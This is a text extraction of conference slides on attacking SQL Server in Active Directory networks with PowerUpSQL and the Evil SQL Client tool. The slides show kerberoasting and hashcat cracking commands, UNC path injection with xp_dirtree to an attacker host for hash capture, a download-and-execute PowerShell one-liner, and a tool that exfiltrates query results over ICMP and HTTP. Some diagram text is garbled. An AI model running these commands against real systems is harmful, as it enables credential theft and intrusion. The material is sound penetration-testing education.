2020-Troopers20-SQL Server Hacking Tips For Active Directory Environments - Final
2020-Troopers20-SQL Server Hacking Tips For Active Directory Environments - Final
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
SQLC2
Blogs: https://blog.netspi.com/author/scott-sutherland/
Community involvement:
Code: https://github.com/NetSPI/PowerUpSQL • SQL Injection Wiki
https://github.com/NetSPI/ESC • SQL Server Metasploit modules
https://github.com/NetSPI/SQLC2 • PowerShell Empire functions
• DBATools functions
https://sqlwiki.netspi.com/
• DAFT: C# port of PowerUpSQL
• Bloodhound SQL Server edge help language
PRESENTATION OVERVIEW
1 Evil SQL Client (ESC) console application (msbuild in line task execution)
Why Target SQL Server?
Why Target SQL Server?
3 SQL Servers have trust relationships with the OS and Active Directory.
INTRODUCTION TO POWERUPSQL
PowerShell tool that can be used to inventory, audit, and exploit weak
SQL Server configurations on scale in AD environments.
It also supports a lot of post-exploitation functionality that covers the kill
chain…like Active Directory recon.
INTRODUCTION TO POWERUPSQL
WWW.POWERUPSQL.COM
• Setup instructions
• Cheat sheets
• Code templates
• Function documentation
• Links to:
- Blogs
- Presentations
- Videos
How do find SQL Servers
using Active Directory?
SQL Server Discovery
Domain joined SQL Servers register their service accounts in the Service
Principal Name (SPN) property of the user/computer object in Active
Directory.
Any domain user can query Active Directory for domain computer/user
SPNS.
PowerUpSQL Functions
Get-SQLInstanceDomain –Verbose
Common Entry Points
Common Entry Points
1 Domain users can log into SQL Server Express instances by default. Yep.
2 Domain users can log into SQL Server instances due to excessive privileges.
EXCESSIVE PRIVILEGES
EXCESSIVE PRIVILEGES
EXCESSIVE PRIVILEGES
Those logins often have default passwords that don’t get changed.
Weak Passwords
SQL Server Service Accounts
Common Entry Points
Kerberoasting
WHAT IS KERBEROASTING?
Kerberoasting is the process of requesting a TGS service ticket for a domain service account (domain account
with a SPN), recovering the ticket from memory, and trying to determine the password of the service account offline by
attempting to decrypt the ticket.
Kerberos ticket-granting service (TGS) service ticket The requesting domain user
Encrypted with NTLM(RC4) password hash of requesting domain user can decrypt as intended.
COLLECTION
Rubeus.exe kerberoast /outfile:C:\Temp\domainhashes.txt
Rubeus.exe kerberoast /user:SQLSVC /outfile:C:\Temp\sqlhash.txt
CRACKING
hashcat -m 13100 -a 0 sqlhash.txt passwordfile.txt
https://github.com/GhostPack/Rubeus#kerberoast | https://hashcat.net/hashcat/
Common Privilege
Escalation Methods
Common Privilege Escalation Methods
By default, the PUBLIC role can leverage 2 stored procs for UNC injection:
xp_dirtree and xp_fileexist
UNC path injection can be used to force the SQL Server service account to
authenticate to the attacker’s system:
xp_dirtree “\\attackerip\file’
Capture or Relay the NetNTLM password hash for the SQL Server service
which often has sysadmin privileges (Inveigh, Responder, etc)
Below is the high level process for executing the attack on scale in AD:
1. Locate SQL Servers on the domain via LDAP queries for SQL SPNs
2. Attempt to log into each SQL instance as the current domain user
3. Perform UNC path injection and capture SQL Server service account
password hashes
4. Crack password hashes offline
5. Login into SQL Server and execution OS commands
Make sure your target SQL Server doesn’t check for SMB signing
USER ENUMERATION
+ WEAK PASSWORDS
Common Privilege Escalation Methods
It’s common for developers and vendors to create SQL Logins with the
username with weak passwords, but sometimes you don’t know the login
name.
As a least privilege authenticated user you can blindly enumerate all SQL
Server logins by fuzzing numbers provided to the SUSER_NAME() function.
Those logins can be then be used to guess passwords.
Example:
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
…
Common Privilege Escalation Methods
Through a similar process you can blindly enumeration domain users using
the DEFAULT_DOMAIN(), SUSER_SID, and SUSER_SNAME functions.
Get Domain
SELECT DEFAULT_DOMAIN() as mydomain;
Get-SQLFuzzDomainAccount
LDAP QUERIES
via SQL SERVER
Common Privilege Escalation Methods
The OLE DB ADSI provide in SQL Server can be used to craft LDAP
queries. A nice blog was written by Thomas Elling on the subject.
https://www.powerupsql.com
More thanks to Thomas Elling!
Common Privilege Escalation Methods
Ad-Hoc Query
example using:
OPENROWSET
DOMAIN USERS
Common Privilege Escalation Methods
Linked Server
example using:
OPENQUERY
DOMAIN USERS
Common Privilege Escalation Methods
Linked Servers +
Excessive Privileges
Common Privilege Escalation Methods
PowerUpSQL and the Metasploit modules can also be handy for crawling
and command execution through linked servers.
Common Privilege Escalation Methods
Internet
HVA = High Value Application
Ports
80 and 443
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet DB1
ADS
Common Privilege Escalation Methods
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet DB1
ADS
Common Privilege Escalation Methods
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
Le DB
as Li
t P nk
ri v w i
ile th
ge
s
DB1
ADS
Common Privilege Escalation Methods
Internet
HVA = High Value Application
Ports
80 and 443
1
SQL Injection
DMZ
LVA HVA
Ports
1433 and 1434
LRA
LVA HVA
Intranet
Le DB
as Li ith
t P nk kw t
ri v w i Lin oun
ile th D B a cc
ge SA
s
Devs often use them for temporary data storage and data processing
Create race conditions that can compromise data confidentially and integrity
Table Variable Batch Only accessible within the query batch it’s executed in.
Case Study: Abusing Temporary Tables
Table Variable Batch Only accessible within the query batch it’s executed in.
Table Variable Batch Only accessible within the query batch it’s executed in.
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName SELECT * FROM
Table Variable
text NOT NULL, RealName text @table_variable
NULL);
Case Study: Abusing Temporary Tables
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName SELECT * FROM
Table Variable
text NOT NULL, RealName text @table_variable
NULL);
CREATE TABLE #LocalTempTbl
(Spy_id INT NOT NULL, SpyName
Local Temporary Table SELECT * FROM #LocalTempTbl
text NOT NULL, RealName text
NULL);
Case Study: Abusing Temporary Tables
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName SELECT * FROM
Table Variable
text NOT NULL, RealName text @table_variable
NULL);
CREATE TABLE #LocalTempTbl
(Spy_id INT NOT NULL, SpyName
Local Temporary Table SELECT * FROM #LocalTempTbl
text NOT NULL, RealName text
NULL);
Query tempdb
• View Names
• Global temp tables
don’t always exist for
long
• Limited to point in time
Case Study: Abusing Temporary Tables
3 TSQL job creates global temp table and stores PowerShell command in it
PREVENTION
Don’t run code blocks that have been stored in a global temporary table.
BLOG: https://blog.netspi.com/exploiting-sql-server-global-temporary-table-race-conditions
Evil SQL Client: Overview
https://github.com/netspi/esc
Evil SQL Client: Execution Options
Execute esc.exe
Evil SQL Client: Execution Options
Download esc.csproj
Download esc.xml
[System.Reflection.Assembly]::LoadFile("c:\temp\esc.exe”)
or
[System.Reflection.Assembly]::Load($filebytes)
Shortcut Download PowerShell code to automatically load Evil SQL Client from a string
containing a hardcoded byte array.
IEX(New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/ESC/master/e
sc-example.ps1")
Evil SQL Client: Execution Options
[evilsqlclient.Program+EvilCommands]::GetSQLServersBroadCast()
[evilsqlclient.Program+EvilCommands]::GetSQLServersSpn()
[evilsqlclient.Program+EvilCommands]::MasterDiscoveredList
[evilsqlclient.Program+EvilCommands]::InstanceAllG = "enabled"
[evilsqlclient.Program+EvilCommands]::CheckAccess()
[evilsqlclient.Program+EvilCommands]::MasterAccessList
[evilsqlclient.Program+EvilCommands]::CheckDefaultAppPw()
[evilsqlclient.Program+EvilCommands]::CheckLoginAsPw()
[evilsqlclient.Program+EvilCommands]::MasterAccessList
ESC Commands
Note: The “show settings” command will show the current configuration at any given time.
Discover file Check access Single instance query Check loginaspw Set File
Multi instance query Set FilePath
Discover domainspn Check defaultpw Check uncinject
List serverinfo Set icmp
Discover broadcast Show access List databases Run oscmd Set icmpip
List tables
Show discovered Export access List links Set http
List logins Set httpurl
Export discovered List rolemembers
List privs
*All query results are
exfiled via all
enabled methods.
* The data encryption functions are done, but currently they don’t encrypt exfiltrated data at this time.
Evil SQL Client: Query Options
Execute query
Select @@version
Go
Evil SQL Client: Query Options
Discover domainspn
Discover broadcast
Discover file c:\temp\instancelist.csv
Show settings
Evil SQL Client: Query Options
Discover domainspn
Discover broadcast
Discover file c:\temp\instancelist.csv
Show settings
Discover domainspn
Discover broadcast
Discover file c:\temp\instancelist.csv
Show settings
Check access
Evil SQL Client: Query Options
Discover domainspn
Discover broadcast
Discover file c:\temp\instancelist.csv
Show settings
Check access
Show access
Evil SQL Client: Query Options
Execute query
Select @@version
Go
Evil SQL Client: Query Options
Execute query
Select @@version
Go
Run Commands
List databases
Evil SQL Client: General Notes
General Notes
clear
ESC Demo
TAKE
AWAYS
Take Aways
TAKE AWAYS